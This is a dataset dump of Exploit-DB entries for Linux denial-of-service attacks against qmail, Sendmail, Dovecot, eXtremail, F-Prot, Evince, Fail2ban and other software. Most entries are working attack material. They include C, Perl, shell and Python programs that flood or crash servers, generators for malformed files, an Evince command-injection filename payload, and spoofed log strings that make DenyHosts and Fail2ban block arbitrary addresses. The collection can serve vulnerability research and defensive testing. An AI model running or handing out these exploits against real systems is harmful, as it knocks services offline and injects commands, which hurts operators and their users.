deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20562
Description: Dan Bernstein QMail 1.0 3 - RCPT Denial of Service (2)
Type: dos
Platform: linux
Date: 1997-06-12
Author: Wietse Venema

Exploit:
// source: https://www.securityfocus.com/bid/2237/info
 
qmail is an e-mail server package developed by Dan Bernstein.
 
The qmail smtp server is subject to a denial of service. By specifying a large number of addresses in the recipient field (RCPT), qmail will stop responding.
 
This behaviour is due to the dynamically allocated memory being exhausted.
 
The condition occurs in situations where resource limits are not imposed on the server process.
 
Many systems may be running qmail without resource limits. The existence of working exploit code poses a threat to these vulnerable qmail servers.
 
Once affected, a restart of the qmail smtp service is required in order to gain normal functionality.
 
It should be noted that this type of threat is not limited to qmail. Resource exhaustion attacks can be used against many internet services by remote attackers.

/*
  * qmail-dos-2 - run a qmail system out of swap space by feeding an infinite
  * amount of recipients.
  *
  * Usage: qmail-dos-2 fully-qualified-hostname
  *
  * Author: Wietse Venema. The author is not responsible for abuse of this
  * program. Use at your own risk.
  */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <stdarg.h>
#include <errno.h>
#include <stdio.h>

void    fatal(char *fmt,...)
{
    va_list ap;

    va_start(ap, fmt);
    vfprintf(stderr, fmt, ap);
    va_end(ap);
    putc('\n', stderr);
    exit(1);
}

chat(FILE * fp, char *fmt,...)
{
    char    buf[BUFSIZ];
    va_list ap;

    fseek(fp, 0L, SEEK_SET);
    va_start(ap, fmt);
    vfprintf(fp, fmt, ap);
    va_end(ap);
    fputs("\r\n", fp);
    if (fflush(fp))
        fatal("connection lost");
    fseek(fp, 0L, SEEK_SET);
    if (fgets(buf, sizeof(buf), fp) == 0)
        fatal("connection lost");
    if (atoi(buf) / 100 != 2)
        fatal("%s", buf);
}

int     main(int argc, char **argv)
{
    struct sockaddr_in sin;
    struct hostent *hp;
    char    buf[BUFSIZ];
    int     sock;
    FILE   *fp;

    if (argc != 2)
        fatal("usage: %s host", argv[0]);
    if ((hp = gethostbyname(argv[1])) == 0)
        fatal("host %s not found", argv[1]);
    memset((char *) &sin, 0, sizeof(sin));
    sin.sin_family = AF_INET;
    memcpy((char *) &sin.sin_addr, hp->h_addr, sizeof(sin.sin_addr));
    sin.sin_port = htons(25);
    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        fatal("socket: %s", strerror(errno));
    if (connect(sock, (struct sockaddr *) & sin, sizeof(sin)) < 0)
        fatal("connect to %s: %s", argv[1], strerror(errno));
    if ((fp = fdopen(sock, "r+")) == 0)
        fatal("fdopen: %s", strerror(errno));
    if (fgets(buf, sizeof(buf), fp) == 0)
        fatal("connection lost");
    chat(fp, "mail from:<me@me>", fp);
    for (;;)
        chat(fp, "rcpt to:<me@%s>", argv[1]);
}
Exploit-DB #20025
Description: Debian 2.1/2.2 / Mandrake 6.0/6.1/7.0 / RedHat 6.x - 'rpc.lockd' Remote Denial of Service
Type: dos
Platform: linux
Date: 2000-06-08
Author: Mike Murray

Exploit:
source: https://www.securityfocus.com/bid/1372/info

A denial of service attack exists in the NFS lock daemon supplied with Linux. By connecting to the port rpc.lockd is running on, and supplying random input, it will cause lockd to exit with an error. The socket associated with rpc.lockd is also not properly released, and cannot be rebound to without a reboot.

This vulnerability most likely affects all Linux distributions running NFS. 

[root@hiro /]# rpcinfo -p target
program vers proto port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100021 1 udp 1024 nlockmgr
100021 3 udp 1024 nlockmgr
100021 1 tcp 1024 nlockmgr
100021 3 tcp 1024 nlockmgr
100024 1 udp 831 status
100024 1 tcp 833 status
[root@hiro /]# nc -p 1000 target 1024
alksdjfalskdjfsdafs
Here, I issued a Ctrl-C to get out of netcat, and got:
punt!
[root@hiro /]#
[root@hiro /]# rpcinfo -p target
program vers proto port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100024 1 udp 831 status
100024 1 tcp 833 status
[root@hiro /]#
Exploit-DB #24095
Description: DeleGate 7.8.x/8.x - SSLway Filter Remote Stack Buffer Overflow (PoC)
Type: dos
Platform: linux
Date: 2004-05-06
Author: Joel Eriksson

Exploit:
source: https://www.securityfocus.com/bid/10295/info

A remote buffer overflow vulnerability has been reported to affect the DeleGate SSLway filter. This filter is employed when DeleGate is applying SSL to arbitrary protocols.

The issue presents itself due to a lack of sufficient boundary checks performed, when copying user-supplied certificate field contents.

A remote attacker may potentially exploit this issue, to overwrite the return address of the static ssl_prcert() function. The attacker may corrupt any other saved value that is within 768 bytes from the end of the affected buffers.

It has been reported that the X509_NAME_oneline() function will perform character conversion on characters below '0x20' or above '0x7e'; this may hinder exploitation of this issue.

[je@vudo ~]$ cat>openssl.cnf<<EOF
> [ req ]
> distinguished_name = req_dn
> prompt = no
> [ req_dn ]
> CN=bof
> 0.OU=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> 1.OU=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> 2.OU=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> 3.OU=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EOF
[je@vudo ~]$ openssl req -x509 -new -nodes -out bof.pem -keyout bof.pem -config openssl.cnf
Generating a 512 bit RSA private key
.........++++++++++++
..........++++++++++++
writing new private key to 'bof.pem'
Exploit-DB #38909
Description: DenyHosts - 'regex.py' Remote Denial of Service
Type: dos
Platform: linux
Date: 2013-12-19
Author: Helmut Grohne

Exploit:
source: https://www.securityfocus.com/bid/64478/info

DenyHosts is prone to a remote denial-of-service vulnerability.

Successfully exploiting this issue allows remote attackers to deny further SSH network access to arbitrary IP addresses, denying service to legitimate users. 

ssh -l 'Invalid user root from 123.123.123.123' 21.21.21.21
Exploit-DB #27903
Description: Dia 0.8x/0.9x - Filename Remote Format String
Type: dos
Platform: linux
Date: 2006-05-23
Author: KaDaL-X

Exploit:
source: https://www.securityfocus.com/bid/18078/info

Dia is prone to a remote format-string vulnerability. 

This issue arises when the application handles specially crafted filenames. An attacker can exploit this vulnerability by crafting a malicious filename that contains format specifiers and then coercing unsuspecting users to open the malicious file with the affected application.

A successful attack may crash the application or lead to arbitrary code execution. 

This issue affects Dia versions 0.95 and earlier.

The following filename is sufficient to demonstrate this issue:
%p%p%p%p.bmp
Exploit-DB #48301
Description: dnsmasq-utils 2.79-1 - 'dhcp_release' Denial of Service (PoC)
Type: dos
Platform: linux
Date: 2020-04-07
Author: JosueEncinar

Exploit:
# Exploit Title: dnsmasq-utils 2.79-1 - 'dhcp_release' Denial of Service (PoC)
# Date: 2020-04-06
# Exploit Author: Josue Encinar
# Software Link: https://launchpad.net/ubuntu/+source/dnsmasq/2.79-1
# Version: 2.79 
# Tested on: Ubuntu 18.04


from subprocess import Popen, PIPE

data = ""
bof = False
for i in range (1, 200):
    A = "A"*i
    data = f"dhcp_release {A} 1 1"
    try:
        result = Popen(data, stdout=PIPE, stderr=PIPE, shell=True)
        error = result.stderr.read().decode()
        if "Aborted (core dumped)" in error:
            print("[+] Buffer Overflow detected!")
            print(f"[*] Offset: {i}")
            bof = True
            break
    except Exception as e:
        print(f"[-] {e}")

if not bof:
    print("[-] No buffer overflow...")


## Check line 273 in dhcp_release.c 
### strcpy(ifr.ifr_name, argv[1]);
#
## PoC:
# josue@ubuntu:~/Escritorio/bof_dhcp$ python3 dhcp_release_bof.py 
# *** buffer overflow detected ***: dhcp_release terminated
# [+] Buffer Overflow detected!
# [*] Offset: 16
Exploit-DB #33269
Description: Dopewars Server 1.5.12 - 'REQUESTJET' Message Remote Denial of Service
Type: dos
Platform: linux
Date: 2009-10-15
Author: Doug Prostko

Exploit:
source: https://www.securityfocus.com/bid/36606/info

Dopewars is prone to a denial-of-service vulnerability that affects the server part of the application.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users.

This issue affects Dopewars 1.5.12; other versions may also be affected. 

The following exploit is available:

ruby -e 'print "foo^^Ar1111111\n^^Acfoo\n^AV65536\n"' | nc localhost 7902
Exploit-DB #32551
Description: Dovecot 1.1.x - Invalid Message Address Parsing Denial of Service
Type: dos
Platform: linux
Date: 2008-10-30
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/31997/info

Dovecot is prone to a remote denial-of-service vulnerability because it fails to handle certain specially crafted email headers.

An attacker can exploit this issue to prevent recipients from accessing their mailboxes.

For an exploit to succeed, the IMAP client connecting to Dovecot must use the FETCH ENVELOPE command.

The issue affects Dovecot 1.1.4 and 1.1.5. 

The following invalid message address header is sufficient to trigger this issue:

"From: ("
Exploit-DB #30542
Description: EnterpriseDB Advanced Server 8.2 - Uninitialized Pointer
Type: dos
Platform: linux
Date: 2007-08-29
Author: Joxean Koret

Exploit:
source: https://www.securityfocus.com/bid/25481/info

EnterpriseDB Advanced Server is prone to an uninitialized-pointer vulnerability.

Authenticated attackers can exploit this issue to cause denial-of-service conditions. Given the nature of this vulnerability, remote code execution may also be possible, but this has not been confirmed.

EnterpriseDB Advanced Server 8.2 is vulnerable; other versions may also be affected.


1) Connect to one vulnerable EnterpriseDB as a low level user (the
execution privilege over the pldbg_* function is granted by default).
2) Execute the following query:

edb=> select pldbg_abort_target[PII_REDACTED]); -- 0x41424344 in decimal

(gdb) where
#0  0x00ba81db in sendBytes ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#1  0x00ba82a1 in sendUInt32 ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#2  0x00ba82e3 in sendString ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#3  0x00ba8880 in pldbg_abort_target ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#4  0x0816669d in ExecMakeFunctionResult ()
#5  0x08168d51 in ExecProject ()
#6  0x0817544d in ExecResult ()
#7  0x08162f65 in ExecProcNode ()
#8  0x08161931 in ExecutorRun ()
#9  0x081fa2e3 in PortalRunSelect ()
#10 0x081fb12a in PortalRun ()
#11 0x081f5a8b in exec_simple_query ()
#12 0x081f76ec in PostgresMain ()
#13 0x081ca356 in ServerLoop ()
#14 0x081cb2b7 in PostmasterMain ()
#15 0x081865d7 in main ()
(gdb) x /i $pc
0xba81db <sendBytes+11>:        mov    (%eax),%eax
(gdb) i r
eax            0x41424344      [PII_REDACTED]
ecx            0x4      4
edx            0xbff46c04       [PII_REDACTED]
ebx            0xbacbd8 12241880
esp            0xbff46bc0       0xbff46bc0
ebp            0xbff46be8       0xbff46be8
esi            0x4      4
edi            0xbab[PII_REDACTED]3
eip            0xba81db 0xba81db
eflags         0x10286  66182
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0

The complete database server (droping all active conections) crashes.
Exploit-DB #19701
Description: Eric Allman Sendmail 8.9.1/8.9.3 - ETRN Denial of Service
Type: dos
Platform: linux
Date: 1999-12-22
Author: Michal Zalewski

Exploit:
source: https://www.securityfocus.com/bid/904/info

There is a low-bandwidth dos vulnerability in Sendmail. When a client connects to the sendmail smtpd and sends an ETRN command to the server, the server fork()s and sleeps for 5 seconds. If many ETRN commands are sent to a server, it is possible to exhaust system resources and cause a denial of service or even a reboot of the server.

#!/bin/sh

TARGET=localhost
COUNT=150
SLEEP=1

echo "gurghfrbl.sh - (c) lcamtuf '99"
echo -n "Tickle"

while :; do
echo -n "."
(
NIC=0
while [ "$NIC" -lt "$COUNT" ]; do
echo "ETRN x"
done
) | telnet $TARGET 25 &>/dev/null &
sleep $SLEEP
killall -9 telnet &>/dev/null
done
Exploit-DB #45824
Description: Evince 3.24.0 - Command Injection
Type: dos
Platform: linux
Date: 2018-11-13
Author: Matlink

Exploit:
# Exploit Title: evince command line injection
# Date: 2017-09-05
# Exploit Author: Matlink
# Vendor Homepage: https://wiki.gnome.org/Apps/Evince
# Software Link: https://wiki.gnome.org/Apps/Evince
# Version: 3.24.0
# Tested on: Debian sid
# CVE : CVE-2[PII_REDACTED]

Can be tested on docker with https://github.com/matlink/evince-cve-2[PII_REDACTED]

#! /bin/bash

# define the payload
export PAYLOAD="firefox google.com"

# Create the malicious .cbt file
dd if=/dev/zero of=" --checkpoint-action=exec=bash -c '$PAYLOAD;'.jpg" bs=1 count=512000
tar cvf poc.cbt *.jpg

# Run the malicious file
evince poc.cbt
Exploit-DB #4532
Description: eXtremail 2.1.1 - 'memmove()' Remote Denial of Service
Type: dos
Platform: linux
Date: 2007-10-15
Author: mu-b

Exploit:
#!/usr/bin/perl
#
# extremail-v3.pl
#
# Copyright (c) 2006 by <mu-b@digit-labs.org>
#
# eXtremail <=2.1.1 remote root POC (x86-lnx)
# by mu-b - Fri Oct 06 2006
#
# Tested on: eXtremail 2.1.1 (lnx)
#            eXtremail 2.1.0 (lnx)
#
#    - Private Source Code -DO NOT DISTRIBUTE -
# http://www.digit-labs.org/ -- Digit-Labs 2006!@$!
########

use Getopt::Std; getopts('t:n:u:p:', \%arg);
use Socket;

&print_header;

my $target;

if (defined($arg{'t'})) { $target = $arg{'t'} }
if (!(defined($target))) { &usage; }

my $pop3_port = 110;
my $send_delay = 1;

my $NOP = 'A';

srand(time());
while (1) {
    if (connect_host($target, $pop3_port)) {
        # [0,50) -> [1,50]
        $max_len  = int(rand(50) + 1);

        # [0, $max_len * 0.75) -> [0, ($max_len * 0x75) - 1]
        $pad1_len = int(rand($max_len * 0.75));

        # [0, ($max_len - $pad1_len)/2) -> [1, ($max_len - $pad1_len)/2]
        $pad2_len = int(rand(($max_len - $pad1_len)/length("%s")) + 1);

        $pad3_len = $max_len - $pad1_len - ($pad2_len * length("%s"));

        $buf = "USER ".
               ($NOP x $pad1_len).
               ("%s" x $pad2_len).
               ($NOP x $pad3_len).
               "\n";
        print("-> * Sending: $max_len $pad1_len $pad2_len $pad3_len ".$buf);
        send(SOCKET, $buf, 0);
        sleep($send_delay);

        close(SOCKET);
    }
}

sub print_header {
    print("eXtremail <=2.1.1 remote root POC (x86-lnx)\n");
    print("by: <mu-b\@digit-labs.org>\n");
    print("http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");
}

sub usage {
  print(qq(Usage: $0 -t <hostname>

     -t <hostname>    : hostname to test
));

    exit(1);
}

sub connect_host {
    ($target, $port) = @_;
    $iaddr  = inet_aton($target)                 || die("Error: $!\n");
    $paddr  = sockaddr_in($port, $iaddr)         || die("Error: $!\n");
    $proto  = getprotobyname('tcp')              || die("Error: $!\n");

    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
    connect(SOCKET, $paddr)                      || die("Error: $!\n");
    return(1338);
}

# milw0rm.com [2007-10-15]
Exploit-DB #4535
Description: eXtremail 2.1.1 - Remote Heap Overflow (PoC)
Type: dos
Platform: linux
Date: 2007-10-15
Author: mu-b

Exploit:
#!/usr/bin/perl
#
# extremail-v8.pl
#
# Copyright (c) 2007 by <mu-b@digit-labs.org>
#
# eXtremail <=2.1.1 remote PoC
# by mu-b - Wed Jan 31 2007
#
# Tested on: eXtremail 2.1.1 (lnx)
#            eXtremail 2.1.0 (lnx)
#
#    - Private Source Code -DO NOT DISTRIBUTE -
# http://www.digit-labs.org/ -- Digit-Labs 2007!@$!
########

use Getopt::Std; getopts('t:n:u:p:', \%arg);
use Socket;

&print_header;

my $target;

if (defined($arg{'t'})) { $target = $arg{'t'} }
if (defined($arg{'n'})) { $offset = $arg{'n'} }
if (!(defined($target))) { &usage; }

my $imapd_port = 143;
my $send_delay = 10;
my $loop = 2;

my $NOP = 'A';

if (connect_host($target, $imapd_port)) {
    print("-> * Connected\n");
    sleep(16);

    print("-> * Sending payload\n");
    $buf = "\x00".($NOP x (0x2710-1));
    send(SOCKET, $buf, 0);
    sleep($send_delay);

    $buf = $NOP x 0x2710;
    while ($loop--) {
      print("-> * Sending payload ".$loop."\n");
      send(SOCKET, $buf, 0);
      sleep($send_delay);
    }

    print("-> * Successfully sent payload!\n");
}

sub print_header {
    print("eXtremail <=2.1.1 remote PoC\n");
    print("by: <mu-b\@digit-labs.org>\n");
    print("http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");
}

sub usage {
  print(qq(Usage: $0 -t <hostname>

     -t <hostname>    : hostname to test
));

    exit(1);
}

sub connect_host {
    ($target, $port) = @_;
    $iaddr  = inet_aton($target)                 || die("Error: $!\n");
    $paddr  = sockaddr_in($port, $iaddr)         || die("Error: $!\n");
    $proto  = getprotobyname('tcp')              || die("Error: $!\n");

    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
    connect(SOCKET, $paddr)                      || die("Error: $!\n");
    return(1338);
}

# milw0rm.com [2007-10-15]
Exploit-DB #40291
Description: Eye of Gnome 3.10.2 - GMarkup Out of Bounds Write
Type: dos
Platform: linux
Date: 2016-08-23
Author: Kaslov Dmitri

Exploit:
# Exploit Title: Gnome Eye of Gnome Out-of-bounds-write
# Exploit Author: Kaslov Dmitri
# Vendor Homepage: https://wiki.gnome.org/Apps/EyeOfGnome
# Version: 3.10.2
# Tested on: Ubuntu 14.04 LTS
# CVE: CVE-2016-6855

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40291.zip


Reported: 19-August-2016
Fixed: 21-Agugst-2016 (fix will go into next software release)

GMarkup requires valid UTF8 input strings and would cause odd
looking messages if given invalid input. This could also trigger an
out-of-bounds write in glib before 2.44.1
Exploit-DB #22446
Description: EZ Server 1.0 - Long Argument Local Denial of Service
Type: dos
Platform: linux
Date: 2003-03-31
Author: gregory Le Bras

Exploit:
source: https://www.securityfocus.com/bid/7243/info

It has been reported that the EZ Server software does not sufficiently handle strings of excessive length in some circumstances. Because of this, a remote attacker may be able to deny service to legitimate users of the system. 

ls AX (where X is a value of A repeated an additional 1993 times)

cd AX (where X is a value of A repeated an additional 1994 times)
Exploit-DB #2892
Description: F-Prot AntiVirus 4.6.6 - 'ACE' Denial of Service
Type: dos
Platform: linux
Date: 2006-12-04
Author: Evgeny Legerov

Exploit:
# fprot1.py - trivial proof of concept code for F-Prot 4.6.6 .ACE DoS
#
# Copyright (c) 2006 Evgeny Legerov
#
# Permission to use, copy, modify, and distribute this software for any
# purpose with or without fee is hereby granted, provided that the above
# copyright notice and this permission notice appear in all copies.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
#
# To test this code on Linux:
#
# create ACE compressed file
# $ ./fprot1.py > 1.ace
# $ f-prot 1.ace

import sys
import struct

ACE="""
 58 c5 31 00 00 00 90 2a 2a 41 43 45 2a 2a 14 14
 02 00 31 12 82 33 b6 45 97 7d 00 00 00 00 16 2a
 55 4e 52 45 47 49 53 54 45 52 45 44 20 56 45 52
 53 49 4f 4e 2a 6c 28 2c 00 01 01 00 d0 ff ff ff
 00 00 00 00 41 42 43 44 41 42 43 44 00 00 00 00
 02 05 41 41 41 41 0d 00 41 41 41 41 41 41 41 41
 41 41 41 41 41
"""

s = ""
for i in [chr(int(i, 16)) for i in ACE.split(" ") if len(i.strip()) > 0]:
       s += i

sys.stdout.write(s)

# milw0rm.com [2006-12-04]
Exploit-DB #2893
Description: F-Prot AntiVirus 4.6.6 - CHM Heap Overflow (PoC)
Type: dos
Platform: linux
Date: 2006-12-04
Author: Evgeny Legerov

Exploit:
# fprot2.py - trivial proof of concept code for F-Prot 4.6.6 .CHM heap
# overflow
#
# Copyright (c) 2006 Evgeny Legerov
#
# Permission to use, copy, modify, and distribute this software for any
# purpose with or without fee is hereby granted, provided that the above
# copyright notice and this permission notice appear in all copies.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
#
# $ ./fprot2.py > 1.chm
# $ f-prot 1.chm

import sys
import struct

s=""
s+="ITSF"        # signature
s+=struct.pack("<L",3) # version
s+=struct.pack("<L",96) # header_len
s+=struct.pack("<L",1) # unknown
s+=struct.pack("<L",0x41424344) # last_modified
s+=struct.pack("<L",0x419) # lang_id
s+="A"*16 #dir_clsid
s+="B"*16 #stream_clsid
s+=struct.pack("<L",96) + "\x00" * 4 #sec0_offset
s+=struct.pack("<L",24) + "\x00" * 4 #sec0_len
s+=struct.pack("<L",120) + "\x00" *4 #dir_offset
s+=struct.pack("<L",4180) + "\x00" * 4 #dir_len
s+=struct.pack("<L",4300) + "\x00"*4 #data_offset
s+="A"*24
s+="ITSP"
s+=struct.pack("<L", 1) # version
s+=struct.pack("<L",0x54) # header_len
s+=struct.pack("<L", 0xa) # unknown
s+=struct.pack("<L",1000) # block_len - BUG?
s+=struct.pack("<L",2) # blockidx
s+=struct.pack("<L", 1) # index_depth
s+=struct.pack("<L", -1) # index_root
s+=struct.pack("<L",0) # index_head
s+=struct.pack("<L",0) # index_tail
s+=struct.pack("<L", -1) # unknown2
s+=struct.pack("<L",1) # num_blocks
s+=struct.pack("<L", 1033) # lang_id
s+="A"*32
s+="B"*10000

sys.stdout.write(s)

# milw0rm.com [2006-12-04]
Exploit-DB #30430
Description: Fail2ban 0.8 - Remote Denial of Service
Type: dos
Platform: linux
Date: 2007-07-28
Author: Daniel B. Cid

Exploit:
source: https://www.securityfocus.com/bid/25117/info

Fail2ban is prone to a remote denial-of-service vulnerability because the application fails to properly ensure the validity of authentication-failure messages.

Successfully exploiting this issue allows remote attackers to add arbitrary IP addresses to the block list used by the application. This allows attackers to deny further network access to arbitrary IP addresses, denying service to legitimate users.

Fail2ban 0.8.0 and prior versions are vulnerable to this issue. 

This issue may be demonstrated by connecting to an SSH server with 'nc', and sending the following string:

ROOT LOGIN REFUSED hi FROM 1.2.3.4

where '1.2.3.4' is an IP address to be blocked.